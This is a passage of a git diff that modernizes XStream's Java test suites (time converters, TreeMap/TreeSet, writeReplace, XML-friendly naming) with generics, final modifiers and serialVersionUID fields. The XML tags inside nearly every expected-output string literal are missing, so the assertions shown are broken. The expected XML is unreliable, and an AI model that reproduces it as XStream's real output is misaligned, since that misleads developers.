PT50H\n" // - + " PT50H\n" // + + "\n" + + " PT50H\n" + + " PT50H\n" + ""); } @@ -172,10 +172,10 @@ public void testInstantConversionExceptionContainsInvalidValue() { public void testInstantWithOldFormat() { assertEquals(Instant.parse("2017-02-15T18:49:25Z"), xstream.fromXML("" // - + "\n" // - + " 2\n" // - + " 1487184565\n" // - + " 0\n" // + + "\n" + + " 2\n" + + " 1487184565\n" + + " 0\n" + "")); } @@ -183,9 +183,9 @@ public void testInstantIsImmutable() { final Instant[] array = new Instant[2]; array[0] = array[1] = Instant.from(ZonedDateTime.of(2017, 7, 30, 20, 40, 0, 0, ZoneOffset.of("Z"))); assertBothWays(array, "" // - + "\n" // - + " 2017-07-30T20:40:00Z\n" // - + " 2017-07-30T20:40:00Z\n" // + + "\n" + + " 2017-07-30T20:40:00Z\n" + + " 2017-07-30T20:40:00Z\n" + ""); } @@ -212,11 +212,11 @@ public void testPeriodConversionExceptionContainsInvalidValue() { public void testPeriodWithOldFormat() { assertEquals(Period.ofDays(7777), xstream.fromXML("" // - + "\n" // - + " 14\n" // - + " 0\n" // - + " 0\n" // - + " 7777\n" // + + "\n" + + " 14\n" + + " 0\n" + + " 0\n" + + " 7777\n" + "")); } @@ -224,9 +224,9 @@ public void testPeriodIsImmutable() { final Period[] array = new Period[2]; array[0] = array[1] = Period.ofDays(1); assertBothWays(array, "" // - + "\n" // - + " P1D\n" // - + " P1D\n" // + + "\n" + + " P1D\n" + + " P1D\n" + ""); } @@ -246,11 +246,11 @@ public void testLocalDateConversionExceptionContainsInvalidValue() { public void testLocalDateWithOldFormat() { assertEquals(LocalDate.of(2017, 10, 30), xstream.fromXML("" // - + "\n" // - + " 3\n" // - + " 2017\n" // - + " 10\n" // - + " 30\n" // + + "\n" + + " 3\n" + + " 2017\n" + + " 10\n" + + " 30\n" + "")); } @@ -258,9 +258,9 @@ public void testLocalDateIsImmutable() { final LocalDate[] array = new LocalDate[2]; array[0] = array[1] = LocalDate.of(2017, 10, 30); assertBothWays(array, "" // - + "\n" // - + " 2017-10-30\n" // - + " 2017-10-30\n" // + + "\n" + + " 2017-10-30\n" + + " 2017-10-30\n" + ""); } @@ -288,13 +288,13 @@ public void testLocalDateTimeConversionExceptionContainsInvalidValue() { public void testLocalDateTimeWithOldFormat() { assertEquals(LocalDateTime.of(2017, 7, 30, 20, 40), xstream.fromXML("" // - + "\n" // - + " 5\n" // - + " 2017\n" // - + " 7\n" // - + " 30\n" // - + " 20\n" // - + " -41\n" // + + "\n" + + " 5\n" + + " 2017\n" + + " 7\n" + + " 30\n" + + " 20\n" + + " -41\n" + "")); } @@ -302,9 +302,9 @@ public void testLocalDateTimeIsImmutable() { final LocalDateTime[] array = new LocalDateTime[2]; array[0] = array[1] = LocalDateTime.of(2017, 7, 30, 20, 40); assertBothWays(array, "" // - + "\n" // - + " 2017-07-30T20:40:00\n" // - + " 2017-07-30T20:40:00\n" // + + "\n" + + " 2017-07-30T20:40:00\n" + + " 2017-07-30T20:40:00\n" + ""); } @@ -330,10 +330,10 @@ public void testLocalTimeConversionExceptionContainsInvalidValue() { public void testLocalTimeWithOldFormat() { assertEquals(LocalTime.of(10, 30), xstream.fromXML("" // - + "\n" // - + " 4\n" // - + " 10\n" // - + " -31\n" // + + "\n" + + " 4\n" + + " 10\n" + + " -31\n" + "")); } @@ -342,8 +342,8 @@ public void testLocalTimeIsImmutable() { array[0] = array[1] = LocalTime.of(10, 30); assertBothWays(array, "" // + "\n" - + " 10:30:00\n" // - + " 10:30:00\n" // + + " 10:30:00\n" + + " 10:30:00\n" + ""); } @@ -372,10 +372,10 @@ public void testMonthDayConversionExceptionContainsInvalidValue() { public void testMonthDayWithOldFormat() { assertEquals(MonthDay.of(Month.JANUARY, 13), xstream.fromXML("" // - + "\n" // - + " 13\n" // - + " 1\n" // - + " 13\n" // + + "\n" + + " 13\n" + + " 1\n" + + " 13\n" + "")); } @@ -384,8 +384,8 @@ public void testMonthDayIsImmutable() { array[0] = array[1] = MonthDay.of(Month.APRIL, 10); assertBothWays(array, "" // + "\n" - + " --04-10\n" // - + " --04-10\n" // + + " --04-10\n" + + " --04-10\n" + ""); } @@ -424,14 +424,14 @@ public void testOffsetDateTimeConversionExceptionContainsInvalidValue() { public void testOffsetDateTimeWithOldFormat() { assertEquals(OffsetDateTime.of(2017, 7, 30, 20, 40, 0, 0, ZoneOffset.ofHours(0)), xstream.fromXML("" // - + "\n" // - + " 10\n" // - + " 2017\n" // - + " 7\n" // - + " 30\n" // - + " 20\n" // - + " -41\n" // - + " 0\n" // + + "\n" + + " 10\n" + + " 2017\n" + + " 7\n" + + " 30\n" + + " 20\n" + + " -41\n" + + " 0\n" + "")); } @@ -440,8 +440,8 @@ public void testOffsetDateTimeIsImmutable() { array[0] = array[1] = OffsetDateTime.of(2017, 7, 30, 20, 40, 15, 0, ZoneOffset.ofHours(1)); assertBothWays(array, "" // + "\n" - + " 2017-07-30T20:40:15+01:00\n" // - + " 2017-07-30T20:40:15+01:00\n" // + + " 2017-07-30T20:40:15+01:00\n" + + " 2017-07-30T20:40:15+01:00\n" + ""); } @@ -478,11 +478,11 @@ public void testOffsetTimeConversionExceptionContainsInvalidValue() { public void testOffsetTimeWithOldFormat() { assertEquals(OffsetTime.of(20, 40, 0, 0, ZoneOffset.ofHours(0)), xstream.fromXML("" // - + "\n" // - + " 9\n" // - + " 20\n" // - + " -41\n" // - + " 0\n" // + + "\n" + + " 9\n" + + " 20\n" + + " -41\n" + + " 0\n" + "")); } @@ -491,8 +491,8 @@ public void testOffsetTimeIsImmutable() { array[0] = array[1] = OffsetTime.of(20, 40, 15, 0, ZoneOffset.ofHours(1)); assertBothWays(array, "" // + "\n" - + " 20:40:15+01:00\n" // - + " 20:40:15+01:00\n" // + + " 20:40:15+01:00\n" + + " 20:40:15+01:00\n" + ""); } @@ -514,9 +514,9 @@ public void testYearConversionExceptionContainsInvalidValue() { public void testYearWithOldFormat() { assertEquals(Year.of(2017), xstream.fromXML("" // - + "\n" // - + " 11\n" // - + " 2017\n" // + + "\n" + + " 11\n" + + " 2017\n" + "")); } @@ -525,8 +525,8 @@ public void testYearIsImmutable() { array[0] = array[1] = Year.of(2017); assertBothWays(array, "" // + "\n" - + " 2017\n" // - + " 2017\n" // + + " 2017\n" + + " 2017\n" + ""); } @@ -548,10 +548,10 @@ public void testYearMonthConversionExceptionContainsInvalidValue() { public void testYearMonthWithOldFormat() { assertEquals(YearMonth.of(2017, 2), xstream.fromXML("" // - + "\n" // - + " 12\n" // - + " 2017\n" // - + " 2\n" // + + "\n" + + " 12\n" + + " 2017\n" + + " 2\n" + "")); } @@ -560,8 +560,8 @@ public void testYearMonthIsImmutable() { array[0] = array[1] = YearMonth.of(2017, 2); assertBothWays(array, "" // + "\n" - + " 2017-02\n" // - + " 2017-02\n" // + + " 2017-02\n" + + " 2017-02\n" + ""); } @@ -598,16 +598,16 @@ public void testZonedDateTimeConversionExceptionContainsInvalidValue() { public void testZonedDateTimeWithOldFormat() { assertEquals(ZonedDateTime.of(2017, 10, 30, 20, 40, 0, 0, ZoneId.of("Europe/London")), xstream.fromXML("" // - + "\n" // - + " 6\n" // - + " 2017\n" // - + " 10\n" // - + " 30\n" // - + " 20\n" // - + " -41\n" // - + " 0\n" // - + " 7\n" // - + " Europe/London\n" // + + "\n" + + " 6\n" + + " 2017\n" + + " 10\n" + + " 30\n" + + " 20\n" + + " -41\n" + + " 0\n" + + " 7\n" + + " Europe/London\n" + "")); } @@ -648,10 +648,10 @@ public void testZoneIdConversionExceptionContainsInvalidValue() { public void testZoneOffestWithOldFormat() { assertEquals(ZoneOffset.ofTotalSeconds(7777), xstream.fromXML("" // - + "\n" // - + " 8\n" // - + " 127\n" // - + " 7777\n" // + + "\n" + + " 8\n" + + " 127\n" + + " 7777\n" + "")); } @@ -659,9 +659,9 @@ public void testZoneOffestIsImmutable() { final ZoneOffset[] array = new ZoneOffset[2]; array[0] = array[1] = ZoneOffset.of("Z"); assertBothWays(array, "" // - + "\n" // - + " Z\n" // - + " Z\n" // + + "\n" + + " Z\n" + + " Z\n" + ""); } @@ -672,9 +672,9 @@ public void testZoneRegion() { public void testZoneRegionWithOldFormat() { assertEquals(ZoneId.of("America/Caracas"), xstream.fromXML("" // - + "\n" // - + " 7\n" // - + " America/Caracas\n" // + + "\n" + + " 7\n" + + " America/Caracas\n" + "")); } @@ -682,9 +682,9 @@ public void testZoneRegionIsImmutable() { final ZoneId[] array = new ZoneId[2]; array[0] = array[1] = ZoneId.of("Europe/Rome"); assertBothWays(array, "" // - + "\n" // - + " Europe/Rome\n" // - + " Europe/Rome\n" // + + "\n" + + " Europe/Rome\n" + + " Europe/Rome\n" + ""); } @@ -705,9 +705,9 @@ public void testChronologyConversionExceptionContainsInvalidValue() { public void testChronologyWithOldFormat() { assertSame(IsoChronology.INSTANCE, xstream.fromXML("" // - + "\n" // - + " 1\n" // - + " ISO\n" // + + "\n" + + " 1\n" + + " ISO\n" + "")); } @@ -715,9 +715,9 @@ public void testChronologyIsImmutable() { final Chronology[] array = new Chronology[2]; array[0] = array[1] = IsoChronology.INSTANCE; assertBothWays(array, "" // - + "\n" // - + " ISO\n" // - + " ISO\n" // + + "\n" + + " ISO\n" + + " ISO\n" + ""); } @@ -728,15 +728,15 @@ public void testHijrahDate() { public void testHijrahDateWithOldFormat() { assertEquals(HijrahChronology.INSTANCE.date(LocalDate.of(2017, 7, 30)), xstream.fromXML("" // - + "\n" // - + " 6\n" // - + " \n" // - + " 1\n" // - + " Hijrah-umalqura\n" // - + " \n" // - + " 1438\n" // - + " 11\n" // - + " 7\n" // + + "\n" + + " 6\n" + + " \n" + + " 1\n" + + " Hijrah-umalqura\n" + + " \n" + + " 1438\n" + + " 11\n" + + " 7\n" + "")); } @@ -768,9 +768,9 @@ public void testHijrahDateIsImmutable() { final HijrahDate[] array = new HijrahDate[2]; array[0] = array[1] = HijrahChronology.INSTANCE.date(LocalDate.of(2017, 7, 30)); assertBothWays(array, "" // - + "\n" // - + " Hijrah-umalqura AH 1438-11-07\n" // - + " Hijrah-umalqura AH 1438-11-07\n" // + + "\n" + + " Hijrah-umalqura AH 1438-11-07\n" + + " Hijrah-umalqura AH 1438-11-07\n" + ""); } @@ -785,11 +785,11 @@ public void testJapaneseDate() { public void testJapaneseDateWithOldFormat() { assertEquals(JapaneseChronology.INSTANCE.date(LocalDate.of(2017, 7, 30)), xstream.fromXML("" // - + "\n" // - + " 4\n" // - + " 2017\n" // - + " 7\n" // - + " 30\n" // + + "\n" + + " 4\n" + + " 2017\n" + + " 7\n" + + " 30\n" + "")); } @@ -821,9 +821,9 @@ public void testJapaneseDateIsImmutable() { final JapaneseDate[] array = new JapaneseDate[2]; array[0] = array[1] = JapaneseChronology.INSTANCE.date(LocalDate.of(2017, 7, 30)); assertBothWays(array, "" // - + "\n" // - + " Japanese Heisei 29-07-30\n" // - + " Japanese Heisei 29-07-30\n" // + + "\n" + + " Japanese Heisei 29-07-30\n" + + " Japanese Heisei 29-07-30\n" + ""); } @@ -833,9 +833,9 @@ public void testJapaneseEra() { public void testJapaneseEraWithOldFormat() { assertEquals(JapaneseEra.TAISHO, xstream.fromXML("" // - + "\n" // - + " 5\n" // - + " 0\n" // + + "\n" + + " 5\n" + + " 0\n" + "")); } @@ -853,9 +853,9 @@ public void testJapaneseEraIsImmutable() { final JapaneseEra[] array = new JapaneseEra[2]; array[0] = array[1] = JapaneseEra.SHOWA; assertBothWays(array, "" // - + "\n" // - + " Showa\n" // - + " Showa\n" // + + "\n" + + " Showa\n" + + " Showa\n" + ""); } @@ -866,11 +866,11 @@ public void testMinguoDate() { public void testMinguoDateWithOldFormat() { assertEquals(MinguoChronology.INSTANCE.date(LocalDate.of(2017, 7, 30)), xstream.fromXML("" // - + "\n" // - + " 7\n" // - + " 106\n" // - + " 7\n" // - + " 30\n" // + + "\n" + + " 7\n" + + " 106\n" + + " 7\n" + + " 30\n" + "")); } @@ -902,9 +902,9 @@ public void testMinguoDateIsImmutable() { final MinguoDate[] array = new MinguoDate[2]; array[0] = array[1] = MinguoChronology.INSTANCE.date(LocalDate.of(2017, 7, 30)); assertBothWays(array, "" // - + "\n" // - + " Minguo ROC 106-07-30\n" // - + " Minguo ROC 106-07-30\n" // + + "\n" + + " Minguo ROC 106-07-30\n" + + " Minguo ROC 106-07-30\n" + ""); } @@ -919,11 +919,11 @@ public void testThaiBuddhistDate() { public void testThaiBuddhistDateWithOldFormat() { assertEquals(ThaiBuddhistChronology.INSTANCE.date(LocalDate.of(2017, 7, 30)), xstream.fromXML("" // - + "\n" // - + " 8\n" // - + " 2560\n" // - + " 7\n" // - + " 30\n" // + + "\n" + + " 8\n" + + " 2560\n" + + " 7\n" + + " 30\n" + "")); } @@ -955,9 +955,9 @@ public void testThaiBuddhistDateIsImmutable() { final ThaiBuddhistDate[] array = new ThaiBuddhistDate[2]; array[0] = array[1] = ThaiBuddhistChronology.INSTANCE.date(LocalDate.of(2017, 7, 30)); assertBothWays(array, "" // - + "\n" // - + " ThaiBuddhist BE 2560-07-30\n" // - + " ThaiBuddhist BE 2560-07-30\n" // + + "\n" + + " ThaiBuddhist BE 2560-07-30\n" + + " ThaiBuddhist BE 2560-07-30\n" + ""); } @@ -987,11 +987,11 @@ public void testIsoFieldsAreImmutable() { array[0] = array[1] = IsoFields.DAY_OF_QUARTER; array[2] = array[3] = IsoFields.QUARTER_YEARS; assertBothWays(array, "" // - + "\n" // - + " DAY_OF_QUARTER\n" // - + " DAY_OF_QUARTER\n" // - + " QUARTER_YEARS\n" // - + " QUARTER_YEARS\n" // + + "\n" + + " DAY_OF_QUARTER\n" + + " DAY_OF_QUARTER\n" + + " QUARTER_YEARS\n" + + " QUARTER_YEARS\n" + ""); } @@ -1005,19 +1005,19 @@ public void testJulianFieldsAreImmutable() { final TemporalField[] array = new TemporalField[2]; array[0] = array[1] = JulianFields.JULIAN_DAY; assertBothWays(array, "" // - + "\n" // - + " JULIAN_DAY\n" // - + " JULIAN_DAY\n" // + + "\n" + + " JULIAN_DAY\n" + + " JULIAN_DAY\n" + ""); } public void testValueRange() { assertBothWays(ValueRange.of(0, 1, 30, 45), "" // - + "\n" // - + " 45\n" // - + " 30\n" // - + " 1\n" // - + " 0\n" // + + "\n" + + " 45\n" + + " 30\n" + + " 1\n" + + " 0\n" + ""); } @@ -1027,38 +1027,38 @@ public void testValueRangeWithAlias() { xstream.aliasField("min-l", ValueRange.class, "minLargest"); xstream.aliasField("min", ValueRange.class, "minSmallest"); assertBothWays(ValueRange.of(0, 1, 30, 45), "" // - + "\n" // - + " 45\n" // - + " 30\n" // - + " 1\n" // - + " 0\n" // + + "\n" + + " 45\n" + + " 30\n" + + " 1\n" + + " 0\n" + ""); } public void testValueRangeWithOldFormat() { assertEquals(ValueRange.of(0, 1, 30, 45), xstream.fromXML("" // - + "\n" // - + " \n" // - + " \n" // - + " 45\n" // - + " 30\n" // - + " 1\n" // - + " 0\n" // - + " \n" // - + " \n" // + + "\n" + + " \n" + + " \n" + + " 45\n" + + " 30\n" + + " 1\n" + + " 0\n" + + " \n" + + " \n" + "")); } public void testWeekFields() { assertBothWays(WeekFields.of(DayOfWeek.TUESDAY, 2), "" // - + "\n" // - + " 2\n" // - + " TUESDAY\n" // + + "\n" + + " 2\n" + + " TUESDAY\n" + ""); assertBothWays(WeekFields.ISO, "" // - + "\n" // - + " 4\n" // - + " MONDAY\n" // + + "\n" + + " 4\n" + + " MONDAY\n" + ""); } @@ -1066,21 +1066,21 @@ public void testWeekFieldsWithFieldAlias() { xstream.aliasField("days", WeekFields.class, "minimalDays"); xstream.aliasField("week-day", WeekFields.class, "firstDayOfWeek"); assertBothWays(WeekFields.of(DayOfWeek.TUESDAY, 2), "" // - + "\n" // - + " 2\n" // - + " TUESDAY\n" // + + "\n" + + " 2\n" + + " TUESDAY\n" + ""); } public void testWeekFieldsWithOldFormat() { assertEquals(WeekFields.of(DayOfWeek.TUESDAY, 2), xstream.fromXML("" // - + "\n" // - + " \n" // - + " \n" // - + " 2\n" // - + " TUESDAY\n" // - + " \n" // - + " \n" // + + "\n" + + " \n" + + " \n" + + " 2\n" + + " TUESDAY\n" + + " \n" + + " \n" + "")); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/TreeMapAndTreeSetTest.java b/xstream/src/test/com/thoughtworks/acceptance/TreeMapAndTreeSetTest.java index 980979346..1f72e8dc3 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/TreeMapAndTreeSetTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/TreeMapAndTreeSetTest.java @@ -1,17 +1,16 @@ /* * Copyright (C) 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2010, 2011, 2013, 2014, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 08. May 2005 by Joe Walnes */ package com.thoughtworks.acceptance; - import java.util.ArrayList; import java.util.Comparator; import java.util.TreeMap; @@ -19,35 +18,41 @@ import com.thoughtworks.xstream.core.JVM; + public class TreeMapAndTreeSetTest extends AbstractAcceptanceTest { - - public static class MyComparator implements Comparator { - private String something = "stuff"; - public int compare(Object o1, Object o2) { - return ((String) o1).compareTo((String) o2); + public static class MyComparator implements Comparator { + @SuppressWarnings("unused") + private final String something = "stuff"; + + @Override + public int compare(final String o1, final String o2) { + return o1.compareTo(o2); } } - - public static class UnusedComparator implements Comparator { - private final static Comparator THROWING_COMPARATOR = new Comparator() { + public static class UnusedComparator implements Comparator { - public int compare(Object o1, Object o2) { + private final static Comparator THROWING_COMPARATOR = new Comparator() { + + @Override + public int compare(final String o1, final String o2) { throw new UnsupportedOperationException(); } - + }; - public int compare(Object o1, Object o2) { - return ((String) o1).compareTo((String) o2); + @Override + public int compare(final String o1, final String o2) { + return o1.compareTo(o2); } - + private Object readResolve() { return THROWING_COMPARATOR; } } + @Override protected void setUp() throws Exception { super.setUp(); xstream.alias("my-comparator", MyComparator.class); @@ -55,159 +60,159 @@ protected void setUp() throws Exception { } public void testTreeMapWithComparator() { - TreeMap map = new TreeMap(new MyComparator()); + final TreeMap map = new TreeMap<>(new MyComparator()); map.put("benny", "hill"); map.put("joe", "walnes"); - String expected = "" + - "\n" + - " \n" + - " stuff\n" + - " \n" + - " \n" + - " benny\n" + - " hill\n" + - " \n" + - " \n" + - " joe\n" + - " walnes\n" + - " \n" + - ""; - - TreeMap result = (TreeMap) assertBothWays(map, expected); + final String expected = "" + + "\n" + + " \n" + + " stuff\n" + + " \n" + + " \n" + + " benny\n" + + " hill\n" + + " \n" + + " \n" + + " joe\n" + + " walnes\n" + + " \n" + + ""; + + final TreeMap result = assertBothWays(map, expected); assertEquals(MyComparator.class, result.comparator().getClass()); } public void testTreeMapWithoutComparator() { - TreeMap map = new TreeMap(); + final TreeMap map = new TreeMap<>(); map.put("benny", "hill"); map.put("joe", "walnes"); - String expected = "" + - "\n" + - " \n" + - " benny\n" + - " hill\n" + - " \n" + - " \n" + - " joe\n" + - " walnes\n" + - " \n" + - ""; - - TreeMap result = (TreeMap) assertBothWays(map, expected); + final String expected = "" + + "\n" + + " \n" + + " benny\n" + + " hill\n" + + " \n" + + " \n" + + " joe\n" + + " walnes\n" + + " \n" + + ""; + + final TreeMap result = assertBothWays(map, expected); assertNull(result.comparator()); } public void testEmptyTreeMap() { - TreeMap map = new TreeMap(); + final TreeMap map = new TreeMap<>(); - String expected = ""; - TreeMap result = (TreeMap) assertBothWays(map, expected); + final String expected = ""; + final TreeMap result = assertBothWays(map, expected); assertNull(result.comparator()); } public void testTreeMapDoesNotUseComparatorAtDeserialization() { if (JVM.hasOptimizedTreeMapPutAll()) { - TreeMap map = new TreeMap(new UnusedComparator()); + final TreeMap map = new TreeMap<>(new UnusedComparator()); map.put("john", "doe"); map.put("benny", "hill"); map.put("joe", "walnes"); - - String expected = "" + - "\n" + - " \n" + - " \n" + - " benny\n" + - " hill\n" + - " \n" + - " \n" + - " joe\n" + - " walnes\n" + - " \n" + - " \n" + - " john\n" + - " doe\n" + - " \n" + - ""; - + + final String expected = "" + + "\n" + + " \n" + + " \n" + + " benny\n" + + " hill\n" + + " \n" + + " \n" + + " joe\n" + + " walnes\n" + + " \n" + + " \n" + + " john\n" + + " doe\n" + + " \n" + + ""; + assertEquals(expected, xstream.toXML(map)); - TreeMap result = (TreeMap) xstream.fromXML(expected); + final TreeMap result = xstream.fromXML(expected); assertSame(UnusedComparator.THROWING_COMPARATOR, result.comparator()); - assertEquals(new ArrayList(map.entrySet()), new ArrayList(result.entrySet())); + assertEquals(new ArrayList<>(map.entrySet()), new ArrayList<>(result.entrySet())); } } public void testTreeSetWithComparator() { - TreeSet set = new TreeSet(new MyComparator()); + final TreeSet set = new TreeSet<>(new MyComparator()); set.add("hi"); set.add("bye"); - String expected = "" + - "\n" + - " \n" + - " stuff\n" + - " \n" + - " bye\n" + - " hi\n" + - ""; + final String expected = "" + + "\n" + + " \n" + + " stuff\n" + + " \n" + + " bye\n" + + " hi\n" + + ""; - TreeSet result = (TreeSet) assertBothWays(set, expected); + final TreeSet result = assertBothWays(set, expected); assertEquals(MyComparator.class, result.comparator().getClass()); } public void testTreeSetWithoutComparator() { - TreeSet set = new TreeSet(); + final TreeSet set = new TreeSet<>(); set.add("hi"); set.add("bye"); - String expected = "" + - "\n" + - " bye\n" + - " hi\n" + - ""; + final String expected = "" + + "\n" + + " bye\n" + + " hi\n" + + ""; - TreeSet result = (TreeSet)assertBothWays(set, expected); + final TreeSet result = assertBothWays(set, expected); assertNull(result.comparator()); } public void testEmptyTreeSet() { - TreeSet set = new TreeSet(); + final TreeSet set = new TreeSet<>(); - String expected = ""; - TreeSet result = (TreeSet)assertBothWays(set, expected); + final String expected = ""; + final TreeSet result = assertBothWays(set, expected); assertNull(result.comparator()); } public void testTreeSetDoesNotUseComparatorAtDeserialization() { if (JVM.hasOptimizedTreeSetAddAll()) { - TreeSet set = new TreeSet(new UnusedComparator()); + final TreeSet set = new TreeSet<>(new UnusedComparator()); set.add("guy"); set.add("hi"); set.add("bye"); - - String expected = "" + - "\n" + - " \n" + - " bye\n" + - " guy\n" + - " hi\n" + - ""; - + + final String expected = "" + + "\n" + + " \n" + + " bye\n" + + " guy\n" + + " hi\n" + + ""; + assertEquals(expected, xstream.toXML(set)); - TreeSet result = (TreeSet) xstream.fromXML(expected); + final TreeSet result = xstream.fromXML(expected); assertSame(UnusedComparator.THROWING_COMPARATOR, result.comparator()); - assertEquals(new ArrayList(set), new ArrayList(result)); + assertEquals(new ArrayList<>(set), new ArrayList<>(result)); } } - + public void testTreeSetRemoveWorksProperlyAfterDeserialization() { - TreeSet set = new TreeSet(); + final TreeSet set = new TreeSet<>(); set.add("guy"); set.add("hi"); set.add("bye"); - - TreeSet result = (TreeSet) xstream.fromXML(xstream.toXML(set)); + + final TreeSet result = xstream.fromXML(xstream.toXML(set)); assertTrue(result.remove("hi")); } } diff --git a/xstream/src/test/com/thoughtworks/acceptance/WriteReplaceTest.java b/xstream/src/test/com/thoughtworks/acceptance/WriteReplaceTest.java index 969152155..d6f9fa4c0 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/WriteReplaceTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/WriteReplaceTest.java @@ -1,6 +1,6 @@ /* * Copyright (C) 2004, 2005 Joe Walnes. - * Copyright (C) 2006, 2007, 2008, 2009, 2014, 2015, 2016, 2017 XStream Committers. + * Copyright (C) 2006, 2007, 2008, 2009, 2014, 2015, 2016, 2017, 2018 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD @@ -34,6 +34,8 @@ public class WriteReplaceTest extends AbstractAcceptanceTest { public static class Thing extends StandardObject implements Serializable { + private static final long serialVersionUID = 200408L; + int a; int b; @@ -95,7 +97,7 @@ public void testAllowsDifferentTypeToBeSubstitutedInList() { xstream.alias("original-class", Original.class); xstream.alias("replaced-class", Replaced.class); - final List in = new ArrayList(); + final List in = new ArrayList<>(); in.add(new Original("hello world")); final String expectedXml = "" @@ -109,6 +111,7 @@ public void testAllowsDifferentTypeToBeSubstitutedInList() { } public static class Container extends StandardObject { + private static final long serialVersionUID = 200810L; Original original; } @@ -180,7 +183,7 @@ public void testAllowsDifferentTypeToBeSubstitutedWithNonExistingClassInList() { xstream.alias("original-class", Original.class); xstream.alias("replaced-class", Replaced.class); - final List in = new ArrayList(); + final List in = new ArrayList<>(); in.add(new Original("hello world")); final String xml = "" @@ -230,6 +233,7 @@ public void testAllowsDifferentTypeToBeSubstitutedWithNonExistingClassInExternal } public static class OriginalSerializable extends StandardObject { + private static final long serialVersionUID = 200502L; String originalValue; public OriginalSerializable() { @@ -249,6 +253,7 @@ private void readObject(final ObjectInputStream in) throws IOException, ClassNot } public static class ReplacedSerializable extends StandardObject { + private static final long serialVersionUID = 200502L; String replacedValue; public ReplacedSerializable() { @@ -350,6 +355,7 @@ public void testAllowsDifferentTypeToBeSubstitutedForCustomExternalizableObjects } public static class OriginalThing extends StandardObject { + private static final long serialVersionUID = 201611L; private final String value; public OriginalThing() { @@ -388,14 +394,14 @@ private Object readResolve() { return new OriginalThing(value); } } - + public void testCascadedWriteReplace() { xstream.alias("original-thing", OriginalThing.class); xstream.alias("intermediate-thing", IntermediateThing.class); xstream.alias("replaced-thing", ReplacedThing.class); final OriginalThing in = new OriginalThing("hello world"); - + final String expectedXml = "" + "\n" + " hello world\n" diff --git a/xstream/src/test/com/thoughtworks/acceptance/XStream11XmlFriendlyTest.java b/xstream/src/test/com/thoughtworks/acceptance/XStream11XmlFriendlyTest.java index 3e8e8b2a4..bde26ef94 100644 --- a/xstream/src/test/com/thoughtworks/acceptance/XStream11XmlFriendlyTest.java +++ b/xstream/src/test/com/thoughtworks/acceptance/XStream11XmlFriendlyTest.java @@ -1,25 +1,28 @@ /* * Copyright (C) 2004, 2005, 2006 Joe Walnes. - * Copyright (C) 2006, 2007, 2014 XStream Committers. + * Copyright (C) 2006, 2007, 2014, 2018, 2019 XStream Committers. * All rights reserved. * * The software in this package is published under the terms of the BSD * style license a copy of which has been included with this distribution in * the LICENSE.txt file. - * + * * Created on 22. July 2004 by Joe Walnes */ package com.thoughtworks.acceptance; import com.thoughtworks.acceptance.objects.StandardObject; import com.thoughtworks.xstream.XStream; +import com.thoughtworks.xstream.core.util.DefaultDriver; import com.thoughtworks.xstream.io.xml.XStream11XmlFriendlyReplacer; -import com.thoughtworks.xstream.io.xml.XppDriver; + public class XStream11XmlFriendlyTest extends AbstractAcceptanceTest { + @Override protected XStream createXStream() { - XStream xstream = new XStream(new XppDriver(new XStream11XmlFriendlyReplacer())) { + final XStream xstream = new XStream(DefaultDriver.create(new XStream11XmlFriendlyReplacer())) { + @Override protected boolean useXStream11XmlFriendlyMapper() { return true; } @@ -30,6 +33,7 @@ protected boolean useXStream11XmlFriendlyMapper() { } public static class WithDollarCharField extends StandardObject { + private static final long serialVersionUID = 200407L; String $field; String field$; String fi$eld; @@ -39,32 +43,33 @@ public static class WithDollarCharField extends StandardObject { public void testSupportsFieldsWithDollarChar() { xstream.alias("dollar", WithDollarCharField.class); - WithDollarCharField in = new WithDollarCharField(); + final WithDollarCharField in = new WithDollarCharField(); in.$field = "a"; in.field$ = "b"; in.fi$eld = "c"; in.fi$$eld = "d"; - String expected11 = "" + - "\n" + - " <_DOLLAR_field>a\n" + - " b\n" + - " c\n" + - " d\n" + - ""; - - String expected12 = "" + - "\n" - + " <_-field>a\n" - + " b\n" - + " c\n" - + " d\n" - + ""; - + final String expected11 = "" + + "\n" + + " <_DOLLAR_field>a\n" + + " b\n" + + " c\n" + + " d\n" + + ""; + + final String expected12 = "" + + "\n" + + " <_-field>a\n" + + " b\n" + + " c\n" + + " d\n" + + ""; + assertWithAsymmetricalXml(in, expected11, expected12); } - + public static class WithUnderscoreCharField extends StandardObject { + private static final long serialVersionUID = 200407L; String _field; String field_; String fi_eld; @@ -74,63 +79,64 @@ public static class WithUnderscoreCharField extends StandardObject { public void testSupportsFieldsWithUnderscoreChar() { xstream.alias("underscore", WithUnderscoreCharField.class); - WithUnderscoreCharField in = new WithUnderscoreCharField(); + final WithUnderscoreCharField in = new WithUnderscoreCharField(); in._field = "a"; in.field_ = "b"; in.fi_eld = "c"; in.fi__eld = "d"; - String expected11 = "" + - "\n" + - " <__field>a\n" + - " b\n" + - " c\n" + - " d\n" + - ""; - + final String expected11 = "" + + "\n" + + " <__field>a\n" + + " b\n" + + " c\n" + + " d\n" + + ""; + assertWithAsymmetricalXml(in, expected11, expected11); } public void testSupportsAliasWithDashChar() { xstream.alias("under-score", WithUnderscoreCharField.class); - WithUnderscoreCharField in = new WithUnderscoreCharField(); + final WithUnderscoreCharField in = new WithUnderscoreCharField(); in._field = "a"; in.field_ = "b"; in.fi_eld = "c"; in.fi__eld = "d"; - String expected11 = "" + - "\n" + - " <__field>a\n" + - " b\n" + - " c\n" + - " d\n" + - ""; - + final String expected11 = "" + + "\n" + + " <__field>a\n" + + " b\n" + + " c\n" + + " d\n" + + ""; + assertWithAsymmetricalXml(in, expected11, expected11); } public static class A_B extends StandardObject { - private int x; + private static final long serialVersionUID = 200409L; + final int x; - public A_B(int x) { + public A_B(final int x) { this.x = x; } } public void testSupportsUnderscoreInShortClassName() { - String expected11 = "" + final String expected11 = "" + "\n" + " 3\n" + ""; - String expected12 = "" + final String expected12 = "" + "\n" + " 3\n" + ""; - + assertWithAsymmetricalXml(new A_B(3), expected11, expected12); } diff --git a/xstream/src/test/com/thoughtworks/acceptance/XStream12CompatibilityTest.java 